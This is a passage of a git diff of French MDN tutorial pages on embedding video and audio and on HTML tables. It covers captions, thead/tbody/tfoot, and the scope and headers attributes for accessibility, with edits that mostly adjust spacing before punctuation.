direct à un point particulier de la vidéo. ### Apprentissage interactif : intégrer vos propres vidéos et audios -Pour cet exercice, nous aimerions (idéalement) que vous partiez « dans le monde » pour enregistrer vos propres vidéos et pistes audio — la plupart des téléphones actuels vous permettent facilement de le faire, et, à condition que vous puissiez le transférer sur l'ordinateur, vous pouvez l'utiliser. Vous allez devoir convertir dans les formats adaptés, WebM et MP4 pour la vidéo, MP3 et Ogg pour l'audio. Il y a de nombreux progammes vous permettant de faire ça sans difficulté comme [Miro Video Converter](http://www.mirovideoconverter.com/) et [Audacity](https://sourceforge.net/projects/audacity/). Nous aimerions que vous essayiez ! +Pour cet exercice, nous aimerions (idéalement) que vous partiez « dans le monde » pour enregistrer vos propres vidéos et pistes audio — la plupart des téléphones actuels vous permettent facilement de le faire, et, à condition que vous puissiez le transférer sur l'ordinateur, vous pouvez l'utiliser. Vous allez devoir convertir dans les formats adaptés, WebM et MP4 pour la vidéo, MP3 et Ogg pour l'audio. Il y a de nombreux progammes vous permettant de faire ça sans difficulté comme [Miro Video Converter](http://www.mirovideoconverter.com/) et [Audacity](https://sourceforge.net/projects/audacity/). Nous aimerions que vous essayiez ! -Si vous ne pouvez enregistrer ni vidéo ni audio, alors, n'hésitez pas à vous servir de nos [échantillons audio et vidéo](https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/video-and-audio-content) pour réaliser cet exercice. Vous pouvez aussi utiliser notre échantillon-code de référence. +Si vous ne pouvez enregistrer ni vidéo ni audio, alors, n'hésitez pas à vous servir de nos [échantillons audio et vidéo](https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/video-and-audio-content) pour réaliser cet exercice. Vous pouvez aussi utiliser notre échantillon-code de référence. Il vous faudra : 1. Préserver vos fichiers audio et vidéo dans un nouveau dossier sur votre ordinateur. -2. Créer un nouveau fichier HTML dans le même répertoire nommé : `index.html`. -3. Ajouter des éléments `<audio>` et `<video>` dans la page; faire en sorte qu'ils affichent les contrôles par défaut du navigateur. -4. Leur attribuer (aux deux) des éléments `<source>` que le navigateur puisse trouver le meilleur format audio et le charger. N'oubliez pas d'inclure les attributs `type`. +2. Créer un nouveau fichier HTML dans le même répertoire nommé : `index.html`. +3. Ajouter des éléments `<audio>` et `<video>` dans la page; faire en sorte qu'ils affichent les contrôles par défaut du navigateur. +4. Leur attribuer (aux deux) des éléments `<source>` que le navigateur puisse trouver le meilleur format audio et le charger. N'oubliez pas d'inclure les attributs `type`. 5. Donner à l'élément `<video>` une image qui sera affichée avant que la vidéo ne démarre. Amusez-vous à créer votre propre visuel de l'affiche. En bonus, vous pouvez chercher des textes à intégrer et ajouter des légendes à vos vidéos. diff --git a/files/fr/learn/html/tables/advanced/index.md b/files/fr/learn/html/tables/advanced/index.md index 08a424fa99..65f1ab0287 100644 --- a/files/fr/learn/html/tables/advanced/index.md +++ b/files/fr/learn/html/tables/advanced/index.md @@ -1,5 +1,5 @@ --- -title: 'Tableaux HTML : dispositions avancées et accessibilité' +title: 'Tableaux HTML : dispositions avancées et accessibilité' slug: Learn/HTML/Tables/Advanced tags: - Accessibilité @@ -23,12 +23,12 @@ original_slug: Apprendre/HTML/Tableaux/Advanced --- {{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}} -Dans le second article de ce module, nous examinerons quelques dispositions avancées des tableaux HTML — comme intitulés ou résumés, groupement des rangées dans l'en-tête, le corps ou le pied de page du tableau — ainsi que l'accessibilité des tableaux aux utilisateurs malvoyants. +Dans le second article de ce module, nous examinerons quelques dispositions avancées des tableaux HTML — comme intitulés ou résumés, groupement des rangées dans l'en-tête, le corps ou le pied de page du tableau — ainsi que l'accessibilité des tableaux aux utilisateurs malvoyants. <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Les bases de HTML (voir <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" @@ -37,7 +37,7 @@ Dans le second article de ce module, nous examinerons quelques dispositions avan </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> En apprendre plus sur les fonctionnalités HTML plus avancées et l'accessibilité aux tableaux. @@ -62,13 +62,13 @@ Comme vous pouvez le voir sur le bref exemple ci-dessus, le titre consiste en un Le titre est placé directement sous la balise `<table>`. -> **Note :** L'attribut {{htmlattrxref("summary","table")}} peut aussi être utilisé dans un élément `<table>` pour fournir une description — il sera lu également par les lecteurs d'écran. Toutefois, nous nous devons de recommander plutôt l'utilisation de l'élément `<caption>`, car `summary` est considéré comme {{glossary("deprecated", "obsolète")}} par la norme HTML5, et ne peut être lu par l'utilisateur courant (il n'apparaît pas dans la page). +> **Note :** L'attribut {{htmlattrxref("summary","table")}} peut aussi être utilisé dans un élément `<table>` pour fournir une description — il sera lu également par les lecteurs d'écran. Toutefois, nous nous devons de recommander plutôt l'utilisation de l'élément `<caption>`, car `summary` est considéré comme {{glossary("deprecated", "obsolète")}} par la norme HTML5, et ne peut être lu par l'utilisateur courant (il n'apparaît pas dans la page). -### Apprentissage actif : Ajouter un titre +### Apprentissage actif : Ajouter un titre Essayons en revisitant un exemple rencontré dans l'article précédent. -1. Ouvrez le planning du professeur de langue de la fin de [Tableaux HTML : notions de base](/fr/docs/Learn/HTML/Tables/Basics#Active_learning_colgroup_and_col) ou faites une copie locale du fichier [timetable-fixed.html](https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable-fixed.html). +1. Ouvrez le planning du professeur de langue de la fin de [Tableaux HTML : notions de base](/fr/docs/Learn/HTML/Tables/Basics#Active_learning_colgroup_and_col) ou faites une copie locale du fichier [timetable-fixed.html](https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable-fixed.html). 2. Ajoutez un titre approprié pour le tableau. 3. Enregistrez votre code et ouvrez-le dans un navigateur pour voir à quoi il ressemble. @@ -82,11 +82,11 @@ Ces éléments ne rendent pas le tableau plus accessible aux utilisateurs de lec Pour les utiliser : -- L'élément `<thead>` doit couvrir la partie du tableau qui est l'en-tête — ce sera en général la première ligne contenant les en-têtes de colonnes, mais pas toujours. Dans le code, si vous utilisez les éléments {{htmlelement("col")}}/{{htmlelement("colgroup")}}, l'en-tête du tableau devrait venir juste en-dessous de ceux-ci. -- L'élément `<tfoot>` doit envelopper la partie du tableau qui est le pied de page — ce peut être une dernière ligne contenant, par exemple, la somme des rangées précédentes. Vous pouvez inclure l'élément \<tfoot> à la suite du code contenant le corps du tableau, là où vous souhaitez le trouver, ou juste en-dessous de l'élément \<thead> (le navigateur l'affichera toujours en pied de tableau). -- L'élément `<tbody>` doit couvrir toutes les parties du tableau non contenues dans un \<thead> ou un \<tfoot>. Il pourra apparaître dans le code, sous la déclaration de l'en-tête ou du pied de page, selon la façon dont vous avez décidé de le structurer (voir les notes ci‑dessus). +- L'élément `<thead>` doit couvrir la partie du tableau qui est l'en-tête — ce sera en général la première ligne contenant les en-têtes de colonnes, mais pas toujours. Dans le code, si vous utilisez les éléments {{htmlelement("col")}}/{{htmlelement("colgroup")}}, l'en-tête du tableau devrait venir juste en-dessous de ceux-ci. +- L'élément `<tfoot>` doit envelopper la partie du tableau qui est le pied de page — ce peut être une dernière ligne contenant, par exemple, la somme des rangées précédentes. Vous pouvez inclure l'élément \<tfoot> à la suite du code contenant le corps du tableau, là où vous souhaitez le trouver, ou juste en-dessous de l'élément \<thead> (le navigateur l'affichera toujours en pied de tableau). +- L'élément `<tbody>` doit couvrir toutes les parties du tableau non contenues dans un \<thead> ou un \<tfoot>. Il pourra apparaître dans le code, sous la déclaration de l'en-tête ou du pied de page, selon la façon dont vous avez décidé de le structurer (voir les notes ci‑dessus). -> **Note :** `<tbody>` est toujours inclus dans tous les tableaux, implicitement si vous ne l'avez pas spécifié dans votre code. Pour le vérifier, ouvrez un tableau ne contenant pas l'élément `<tbody>` et regardez le code HTML dans les [outils de développement de votre navigateur](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools) — vous verrez que le navigateur a ajouté cette balise pour vous. Si vous vous demandez pourquoi vous ennuyer à gérer ce qui est ajouté automatiquement — parce que cela vous donne plus de contrôle sur la structure et l'apparence de votre tableau. +> **Note :** `<tbody>` est toujours inclus dans tous les tableaux, implicitement si vous ne l'avez pas spécifié dans votre code. Pour le vérifier, ouvrez un tableau ne contenant pas l'élément `<tbody>` et regardez le code HTML dans les [outils de développement de votre navigateur](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools) — vous verrez que le navigateur a ajouté cette balise pour vous. Si vous vous demandez pourquoi vous ennuyer à gérer ce qui est ajouté automatiquement — parce que cela vous donne plus de contrôle sur la structure et l'apparence de votre tableau. ### Apprentissage actif : Ajout d'une structure au tableau @@ -96,7 +96,7 @@ Mettons en œuvre ces nouveaux éléments. 2. Essayez de les ouvrir dans un navigateur — vous verrez que cela paraît correct, mais gagnerait à être amélioré. La ligne "SUM" qui contient les totaux des montants dépensés semble être au mauvais endroit et il manque certains détails du code. 3. Mettez la ligne d'en-têtes en évidence avec l'élément `<thead>` , la ligne des totaux ("SUM") dans un `<tfoot>`, et le reste du contenu dans un `<tbody>`. 4. Enregistrez et actualisez, et vous verrez que l'ajout de l'élément `<tfoot>` a renvoyé la ligne "SUM" en bas du tableau. -5. Ensuite, ajoutez un attribut {{htmlattrxref("colspan","td")}} pour générer une cellule Total ("SUM") couvrant les quatre premières colonnes, ainsi le nombre réel apparaît au pied de la colonne « Coût ». +5. Ensuite, ajoutez un attribut {{htmlattrxref("colspan","td")}} pour générer une cellule Total ("SUM") couvrant les quatre premières colonnes, ainsi le nombre réel apparaît au pied de la colonne « Coût ». 6. Ajoutons un style supplémentaire au tableau, pour vous donner une idée de l'utilité de ces éléments pour l'application des CSS. Dans le \<head> du document HTML, vous pouvez voir un élément {{htmlelement("style")}} vide, ajoutez les lignes suivantes de code CSS : ```css @@ -176,7 +176,7 @@ Le code de votre tableau fini devrait ressembler à quelque chose comme : <thead> <tr> <th>Achats</th> - <th>Où ?</th> + <th>Où ?</th> <th>Date</th> <th>Avis</th> <th>Coût (€)</th> @@ -226,7 +226,7 @@ Le code de votre tableau fini devrait ressembler à quelque chose comme : {{ EmbedLiveSample("Apprentissage_actif_Ajout_d'une_structure_au_tableau", '100%', 300, "", "", "hide-codepen-jsfiddle") }} -> **Note :** Vous pouvez aussi le trouver sur Github [spending-record-finished.html](https://github.com/mdn/learning-area/blob/master/html/tables/advanced/spending-record-finished.html) ([voir aussi le résultat](http://mdn.github.io/learning-area/html/tables/advanced/spending-record-finished.html) directement). +> **Note :** Vous pouvez aussi le trouver sur Github [spending-record-finished.html](https://github.com/mdn/learning-area/blob/master/html/tables/advanced/spending-record-finished.html) ([voir aussi le résultat](http://mdn.github.io/learning-area/html/tables/advanced/spending-record-finished.html) directement). ## Tableaux imbriqués @@ -289,14 +289,14 @@ Rappelons brièvement comment nous utilisons les tableaux de données. Un tablea </caption> <tbody> <tr> - <td> </td> - <td> </td> + <td></td> + <td></td> <th colspan="3" scope="colgroup">Vêtements</th> <th colspan="2" scope="colgroup">Accessoires</th> </tr> <tr> - <td> </td> - <td> </td> + <td></td> + <td></td> <th scope="col">Pantalons</th> <th scope="col">Jupes</th> <th scope="col">Robes</th> @@ -350,25 +350,25 @@ Rappelons brièvement comment nous utilisons les tableaux de données. Un tablea Mais que faire si vous ne pouvez pas créer ces associations visuelles ? Comment pouvez-vous lire un tableau comme celui ci-dessus ? Les personnes malvoyantes utilisent souvent un lecteur d'écran qui leur lit les informations des pages web. Ce n'est pas un problème quand vous lisez du texte brut, mais l'interprêtation d'un tableau peut constituer un défi pour une personne aveugle. Néanmoins, avec le balisage approprié, nous pouvons remplacer des associations visuelles par des associations programmées. -> **Note :** Il y a environ 253 millions de personnes vivant avec des déficiences visuelles selon les [données de l'OMS en 2017](http://www.who.int/mediacentre/factsheets/fs282/fr/ "Vision Impairment Data"). +> **Note :** Il y a environ 253 millions de personnes vivant avec des déficiences visuelles selon les [données de l'OMS en 2017](http://www.who.int/mediacentre/factsheets/fs282/fr/ "Vision Impairment Data"). Cette partie de l'article indique des techniques avancées pour rendre les tableaux les plus accessibles possible. ### Utilisation des en-têtes de colonnes et de lignes -Les lecteurs d'écran identifieront tous les en-têtes et les utiliseront pour réaliser automatiquement les associations entre ces en-têtes et les cellules correspondantes. La combinaison des en-têtes des colonnes et des lignes doit permettre d'identifier et d'interprêter les données de chaque cellule. Ainsi, les utilisateurs de lecteurs d'écran peuvent accéder aux données d'une façon similaire à celle des utilisateurs voyants. +Les lecteurs d'écran identifieront tous les en-têtes et les utiliseront pour réaliser automatiquement les associations entre ces en-têtes et les cellules correspondantes. La combinaison des en-têtes des colonnes et des lignes doit permettre d'identifier et d'interprêter les données de chaque cellule. Ainsi, les utilisateurs de lecteurs d'écran peuvent accéder aux données d'une façon similaire à celle des utilisateurs voyants. Nous avons déjà traité des en-têtes dans notre article précédent — voir [Ajouter des en-têtes avec \<th>](/fr/docs/Learn/HTML/Tables/Basics#Adding_headers_with_%3Cth%3E_elements) . ### L'attribut `scope` -Aux balises `<th>`, sujet de l'article précédent, ajoutons l'attribut {{htmlattrxref("scope","th")}}. Il peut être mentionné dans un élément `<th>` pour indiquer précisément à un lecteur d'écran si la cellule contient un en-tête de colonne ou de ligne — par exemple, sommes‑nous dans un en-tête de ligne, ou de colonne ? En revenant à notre exemple d'enregistrement de dépenses vu plus tôt, il est possible de définir sans ambiguité un en-tête de colonne comme étant un en-tête de colonne ainsi : +Aux balises `<th>`, sujet de l'article précédent, ajoutons l'attribut {{htmlattrxref("scope","th")}}. Il peut être mentionné dans un élément `<th>` pour indiquer précisément à un lecteur d'écran si la cellule contient un en-tête de colonne ou de ligne — par exemple, sommes‑nous dans un en-tête de ligne, ou de colonne ? En revenant à notre exemple d'enregistrement de dépenses vu plus tôt, il est possible de définir sans ambiguité un en-tête de colonne comme étant un en-tête de colonne ainsi : ```html <thead> <tr> <th scope="col">Achats</th> - <th scope="col">Ou ?</th> + <th scope="col">Ou ?</th> <th scope="col">Date</th> <th scope="col">Avis</th> <th scope="col">Coût (€)</th> @@ -390,24 +390,24 @@ Et chaque ligne pourrait également avoir une définition de son en-tête comme Les lecteurs d'écran reconnaîtront un balisage structuré comme celui-ci et permettront à leurs utilisateurs de lire en une fois une colonne ou une ligne entière par exemple. -`scope` a deux autres valeurs possibles — `colgroup` et `rowgroup`. Elles sont utilisées pour les en-têtes qui couvrent plusieurs colonnes ou lignes. Si vous revenez au tableau « Articles vendus... » au début de ce paragraphe du présent article, vous voyez que la cellule « Vêtements » se trouve au-dessus des cellules « Pantalons », « Jupes » et « Robes ». Toutes ces cellules sont marquées comme en-têtes (`<th>`), mais « Vêtements » est un en-tête de niveau supérieur qui définit trois « sous-en-têtes ». « Vêtements » comportera donc un attribut `scope="colgroup"`, alors que les autres doivent recevront un attribut `scope="col"`. +`scope` a deux autres valeurs possibles — `colgroup` et `rowgroup`. Elles sont utilisées pour les en-têtes qui couvrent plusieurs colonnes ou lignes. Si vous revenez au tableau « Articles vendus... » au début de ce paragraphe du présent article, vous voyez que la cellule « Vêtements » se trouve au-dessus des cellules « Pantalons », « Jupes » et « Robes ». Toutes ces cellules sont marquées comme en-têtes (`<th>`), mais « Vêtements » est un en-tête de niveau supérieur qui définit trois « sous-en-têtes ». « Vêtements » comportera donc un attribut `scope="colgroup"`, alors que les autres doivent recevront un attribut `scope="col"`. ### Les attributs `id` et `headers` Une alternative à l'usage de l'attribut `scope` est l'utilisation des attributs {{htmlattrxref("id")}} et {{htmlattrxref("headers", "td")}} pour créer une association entre en-têtes et cellules. Ils sont utilisés de la manière suivante : 1. Vous ajoutez un identifiant unique `id` à chaque élément `<th>`. -2. Vous ajoutez un attribut `headers` à chaque élément `<td>` . Chaque attribut `headers` doit contenir une liste des `id` de tous les éléments \<th> qu'il contient, séparés par des espaces. +2. Vous ajoutez un attribut `headers` à chaque élément `<td>` . Chaque attribut `headers` doit contenir une liste des `id` de tous les éléments \<th> qu'il contient, séparés par des espaces. Votre tableau HTML possède donc la position explicite de chaque cellule dans le tableau, définie par les en-têtes de chaque colonne et chaque ligne qui en font partie, un peu comme dans une feuille de calcul. Pour un bon fonctionnement, le tableau a réellement besoin d'en-têtes de colonnes et de lignes. -En revenant à notre exemple de tableau des dépenses et des coûts, les deux extraits précédents pourraient être réécrits ainsi : +En revenant à notre exemple de tableau des dépenses et des coûts, les deux extraits précédents pourraient être réécrits ainsi : ```html <thead> <tr> <th id="purchase">Achats</th> - <th id="location">Où ?</th> + <th id="location">Où ?</th> <th id="date">Date</th> <th id="evaluation">Avis</th> <th id="cost">Coût (€)</th> @@ -427,16 +427,16 @@ En revenant à notre exemple de tableau des dépenses et des coûts, les deux ex </tbody> ``` -> **Note :** Cette méthode crée des associations très précises entre en-têtes et données mais elle utilise **beaucoup** plus de balisage et ne laisse aucune marge d'erreur. L'approche `scope` est généralement suffisante pour la plupart des tableaux. +> **Note :** Cette méthode crée des associations très précises entre en-têtes et données mais elle utilise **beaucoup** plus de balisage et ne laisse aucune marge d'erreur. L'approche `scope` est généralement suffisante pour la plupart des tableaux. -### Apprentissage actif : jouer avec `scope` et `headers` +### Apprentissage actif : jouer avec `scope` et `headers` 1. Pour cet exercice final, nous aimerions que vous fassiez une copie locale de [items‑sold.html](https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold.html) et [minimal-table.css](https://github.com/mdn/learning-area/blob/master/html/tables/advanced/minimal-table.css), dans un nouveau répertoire. 2. Maintenant essayez d'ajouter un attribut `scope` approprié pour améliorer ce tableau. 3. Enfin, essayez avec une autre copie du fichier initial, de faire un tableau plus accessible en utilisant les attributs `id` et `headers`. -> **Note :** Vous pouvez contrôler votre travail en le comparant à nos exemples finis — voir [items-sold-scope.html](https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold-scope.html) ([voir aussi directement](http://mdn.github.io/learning-area/html/tables/advanced/items-sold-scope.html)) -> et [items-sold-headers.html](https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold-headers.html) ([voir aussi directement](http://mdn.github.io/learning-area/html/tables/advanced/items-sold-headers.html)). +> **Note :** Vous pouvez contrôler votre travail en le comparant à nos exemples finis — voir [items-sold-scope.html](https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold-scope.html) ([voir aussi directement](http://mdn.github.io/learning-area/html/tables/advanced/items-sold-scope.html)) +> et [items-sold-headers.html](https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold-headers.html) ([voir aussi directement](http://mdn.github.io/learning-area/html/tables/advanced/items-sold-headers.html)). ## Résumé @@ -446,6 +446,6 @@ Il reste encore quelques autres choses à apprendre sur les tableaux HTML, mais ## Dans ce module -- [Tableaux HTML : notions de base](/fr/docs/Learn/HTML/Tables/Basics) +- [Tableaux HTML : notions de base](/fr/docs/Learn/HTML/Tables/Basics) - [Tableaux HTML : dispositions avancées et accessibilité](/fr/docs/Learn/HTML/Tables/Advanced) - [Structuration de données sur les planètes](/fr/docs/Learn/HTML/Tables/Structuring_planet_data) diff --git a/files/fr/learn/html/tables/basics/index.md b/files/fr/learn/html/tables/basics/index.md index afdc832c15..3f33afab43 100644 --- a/files/fr/learn/html/tables/basics/index.md +++ b/files/fr/learn/html/tables/basics/index.md @@ -1,5 +1,5 @@ --- -title: 'Tableaux HTML : notions de base' +title: 'Tableaux HTML : notions de base' slug: Learn/HTML/Tables/Basics tags: - Apprentissage @@ -49,7 +49,7 @@ Un tableau est un ensemble structuré de données (**table de données**) prése  -Les tableaux sont très couramment utilisés dans la société humaine, et depuis très longtemps, pour preuve ce document du recensement américain datant de 1800 : +Les tableaux sont très couramment utilisés dans la société humaine, et depuis très longtemps, pour preuve ce document du recensement américain datant de 1800 :  @@ -57,7 +57,7 @@ Il n'est donc pas étonnant que les créateurs du HTML fournissent un moyen de s ### Comment fonctionne un tableau ? -L'avantage du tableau tient dans sa rigueur. L'information est facilement interprétée par des associations visuelles entre les en‑têtes de lignes et colonnes. Cherchez dans la table ci-dessous par exemple et trouvez une planète géante gazeuse du système jovien avec 62 lunes. Vous pouvez trouver la réponse en associant les en-têtes de lignes et colonnes pertinents. +L'avantage du tableau tient dans sa rigueur. L'information est facilement interprétée par des associations visuelles entre les en‑têtes de lignes et colonnes. Cherchez dans la table ci-dessous par exemple et trouvez une planète géante gazeuse du système jovien avec 62 lunes. Vous pouvez trouver la réponse en associant les en-têtes de lignes et colonnes pertinents. <table> <caption> @@ -204,7 +204,7 @@ Lorsque cela est fait correctement, même les personnes malvoyantes peuvent inte ### Style de tableau -Vous pouvez également [regarder sur l'exemple réel](https://mdn.github.io/learning-area/html/tables/assessment-finished/planets-data.html) sur GitHub ! Vous remarquerez sur celui-ci que le tableau est légèrement plus lisible — car le tableau figurant ci-dessus présente un style minimal, alors que sa version sur GitHub est liée à un CSS plus signifiant. +Vous pouvez également [regarder sur l'exemple réel](https://mdn.github.io/learning-area/html/tables/assessment-finished/planets-data.html) sur GitHub ! Vous remarquerez sur celui-ci que le tableau est légèrement plus lisible — car le tableau figurant ci-dessus présente un style minimal, alors que sa version sur GitHub est liée à un CSS plus signifiant. Ne vous faites pas d'illusions ; pour obtenir un tableau avec un certain effet sur le web, vous devez fournir un minimum d'informations de style avec [CSS](/fr/docs/Learn/CSS), ainsi qu'une structure solide avec HTML. Dans ce module nous nous concentrons sur la partie HTML ; pour en savoir plus sur la partie CSS, vous devrez lire notre article [Style et tableaux](/fr/docs/Learn/CSS/Styling_boxes/Styling_tables) quand vous aurez fini ici. @@ -214,25 +214,25 @@ Nous n'approfondirons pas le CSS dans ce module, mais nous avons écrit une feui Les tableaux HTML ne doivent être utilisés que pour des données tabulaires — c'est pour cela qu'ils sont conçus. Malheureusement, beaucoup de gens ont utilisé les tableaux HTML pour organiser des pages Web, par exemple : une ligne pour contenir l'en-tête, une ligne pour les colonnes de contenu, une ligne pour le pied de page, etc. Vous pouvez trouver plus de détails et un exemple avec [Mises en page](/fr/docs/Learn/Accessibility/HTML#Page_layouts) dans notre [Module d'apprentissage à l'Accessibilité](/fr/docs/Learn/Accessibility). Cette dispostion a été couramment utilisée car la prise en charge des CSS parmi les navigateurs avait pour coutume d'être effroyable ; ces mises en page sont beaucoup moins fréquentes de nos jours, mais vous pouvez toujours les voir dans certains recoins du Web. -Bref, utiliser les tableaux pour la mise en page [au lieu des techniques des CSS](/fr/docs/Learn/CSS/CSS_layout) est une mauvaise idée. En voici les principales raisons : +Bref, utiliser les tableaux pour la mise en page [au lieu des techniques des CSS](/fr/docs/Learn/CSS/CSS_layout) est une mauvaise idée. En voici les principales raisons : 1. **Les tableaux de mise en page diminuent l'accessibilité aux malvoyants** : les [lecteurs d'écran](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders), utilisés par les non-voyants, interprêtent les balises d'une page HTML et lisent à haute voix le contenu à l'utilisateur. Comme les tables ne sont pas le bon outil pour la mise en page et que le balisage est plus complexe qu'avec les techniques de mise en page des CSS, la sortie des lecteurs d'écran sera source de confusion pour leurs utilisateurs. 2. **Les tables produisent de la bouillie :** Comme mentionné ci-dessus, les mises en page sur la base de tableaux comportent généralement des structures de balisage plus complexes que des techniques de mise en page appropriées. Le code résultant sera plus difficile à écrire, à maintenir et à déboguer. 3. **Les tableaux ne s'adaptent pas automatiquement** : Si vous utilisez les propriétés de mise en page ({{htmlelement("header")}}, {{htmlelement("section")}}, {{htmlelement("article")}} ou {{htmlelement("div")}}), leur largeur est par défaut 100% de celle du parent. Par contre, les tableaux sont dimensionnés en fonction de leur contenu par défaut, de sorte que des mesures supplémentaires sont nécessaires pour que le style du tableau fonctionne effectivement sur les différents types d'écran. -## Apprentissage actif : créer votre premier tableau +## Apprentissage actif : créer votre premier tableau Nous avons assez parlé théorie, alors, plongeons dans un exemple pratique et construisons un tableau simple. 1. Avant tout, faites une copie locale de [blank-template.html](https://github.com/mdn/learning-area/blob/master/html/tables/basic/blank-template.html) et [minimal-table.css](https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css) dans un nouveau répertoire de votre ordinateur. 2. Le contenu de chaque tableau est encadré par ces deux balises : **[`<table></table>`](/fr/docs/Web/HTML/Element/table)**. Ajoutez‑les dans le corps de votre HTML. -3. Le plus petit conteneur d'un tableau est la cellule ; elle est créée avec l'élément **[`<td>`](/fr/docs/Web/HTML/Element/td)** (« td » comme « tableau données »). Ajoutez ceci entre les balises du tableau : +3. Le plus petit conteneur d'un tableau est la cellule ; elle est créée avec l'élément **[`<td>`](/fr/docs/Web/HTML/Element/td)** (« td » comme « tableau données »). Ajoutez ceci entre les balises du tableau : ```html <td>Bonjour, je suis votre première cellule.</td> ``` -4. Si nous voulons une rangée de quatre cellules, nous devons copier la première trois fois. Mettez à jour le contenu du tableau pour avoir quelque chose comme : +4. Si nous voulons une rangée de quatre cellules, nous devons copier la première trois fois. Mettez à jour le contenu du tableau pour avoir quelque chose comme : ```html <td>Bonjour, je suis votre première cellule </td> @@ -243,7 +243,7 @@ Nous avons assez parlé théorie, alors, plongeons dans un exemple pratique et c Comme vous le verrez, les cellules ne sont pas placées les unes en dessous des autres, mais elles sont automatiquement affichées dans une même ligne. chaque élément `<td>` crée une cellule simple et ensemble elles forment la première ligne. Toutes les cellules que nous ajoutons allongent la ligne. -Pour empêcher cette ligne de croître et commencer à placer les cellules suivantes sur une deuxième ligne, nous devons utiliser la balise **[`<tr>`](/fr/docs/Web/HTML/Element/tr)** (« tr » comme « table rangée »). Étudions cela maintenant. +Pour empêcher cette ligne de croître et commencer à placer les cellules suivantes sur une deuxième ligne, nous devons utiliser la balise **[`<tr>`](/fr/docs/Web/HTML/Element/tr)** (« tr » comme « table rangée »). Étudions cela maintenant. 1. Placez les quatre cellules que vous avez créées entre deux balises `<tr>` ainsi : @@ -367,17 +367,17 @@ Maintenant, le rendu du tableau réel : Le problème ici c'est que, bien que vous puissiez comprendre le tableau, il n'est pas aussi facile de croiser les données que cela pourrait être. Si les en-têtes de colonnes et de lignes se démarquaient d'une manière ou d'une autre, ce serait mieux. -### Apprentissage actif : en-tête de tableau +### Apprentissage actif : en-tête de tableau Améliorons ce tableau. -1. En premier lieu, faites une copie des fichiers [dogs-table.html](https://github.com/mdn/learning-area/blob/master/html/tables/basic/dogs-table.html) et [minimal-table.css](https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css) dans un nouveau répertoire sur votre ordinateur. Le contenu HTML est similaire à l'exemple « Dogs » ci-dessus. -2. Pour reconnaître les en-têtes de tableau en tant qu'en-têtes, visuellement et sémantiquement, vous pouvez utiliser la balise **[`<th>`](/fr/docs/Web/HTML/Element/th)** (« th » comme « table header » ou en-tête de tableau). Il fonctionne exactement comme la balise `<td>`, à ceci près qu'il indique un en-tête et non une cellule normale. Allez dans le code HTML, et remplacez tous les `<td>` des cellules entourant le tableau par des `<th>`. +1. En premier lieu, faites une copie des fichiers [dogs-table.html](https://github.com/mdn/learning-area/blob/master/html/tables/basic/dogs-table.html) et [minimal-table.css](https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css) dans un nouveau répertoire sur votre ordinateur. Le contenu HTML est similaire à l'exemple « Dogs » ci-dessus. +2. Pour reconnaître les en-têtes de tableau en tant qu'en-têtes, visuellement et sémantiquement, vous pouvez utiliser la balise **[`<th>`](/fr/docs/Web/HTML/Element/th)** (« th » comme « table header » ou en-tête de tableau). Il fonctionne exactement comme la balise `<td>`, à ceci près qu'il indique un en-tête et non une cellule normale. Allez dans le code HTML, et remplacez tous les `<td>` des cellules entourant le tableau par des `<th>`. 3. Enregistrez votre HTML et chargez-le dans un navigateur. Vous devriez voir que les en-têtes ressemblent maintenant à des en-têtes. > **Note :** Vous pouvez trouver notre exemple achevé [dogs-table-fixed.html](https://github.com/mdn/learning-area/blob/master/html/tables/basic/dogs-table-fixed.html) sur GitHub ([voir en direct aussi](http://mdn.github.io/learning-area/html/tables/basic/dogs-table-fixed.html)). -### Pourquoi les en-têtes sont-ils utiles ? +### Pourquoi les en-têtes sont-ils utiles ? Nous avons déjà partiellement répondu à cette question — il vous est plus facile de trouver les données que vous cherchez quand les en-têtes sont marqués clairement, et la conception globale du tableau paraît meilleure. @@ -454,15 +454,15 @@ Nous avons besoin d'un moyen pour étendre "Animaux", "Hippopotame" et "Crocodil Utilisons `colspan` et `rowspan` pour améliorer ce tableau. 1. Tout d'abord, faites une copie locale de nos fichiers [animals-table.html](https://github.com/mdn/learning-area/blob/master/html/tables/basic/animals-table.html) et [minimal-table.css](https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css) dans un nouveau répertoire sur votre ordinateur. Le HTML contient le même exemple d'animaux vu ci-dessus. -2. Ensuite, utilisez `colspan` pour mettre « Animaux », « Hippopotame » et « Crocodile » sur deux colonnes. -3. Enfin, utilisez `rowspan` pour mettre « Cheval » and « Poulet » sur deux lignes. +2. Ensuite, utilisez `colspan` pour mettre « Animaux », « Hippopotame » et « Crocodile » sur deux colonnes. +3. Enfin, utilisez `rowspan` pour mettre « Cheval » and « Poulet » sur deux lignes. 4. Enregistrez et ouvrez votre code sur un navigateur pour voir l'amélioration. > **Note :** Vous pouvez trouver l'exemple achevé dans [animals-table-fixed.html](https://github.com/mdn/learning-area/blob/master/html/tables/basic/animals-table-fixed.html) sur GitHub ([voir en direct aussi](http://mdn.github.io/learning-area/html/tables/basic/animals-table-fixed.html)). ## Attribuer un style commun aux colonnes -Il y a une dernière fonctionnalité dont nous devons parler dans cet article avant de passer à autre chose. HTML a une méthode de définition des styles pour une colonne entière de données en un seul endroit — les éléments **[`<col>`](/fr/docs/Web/HTML/Element/col)** and 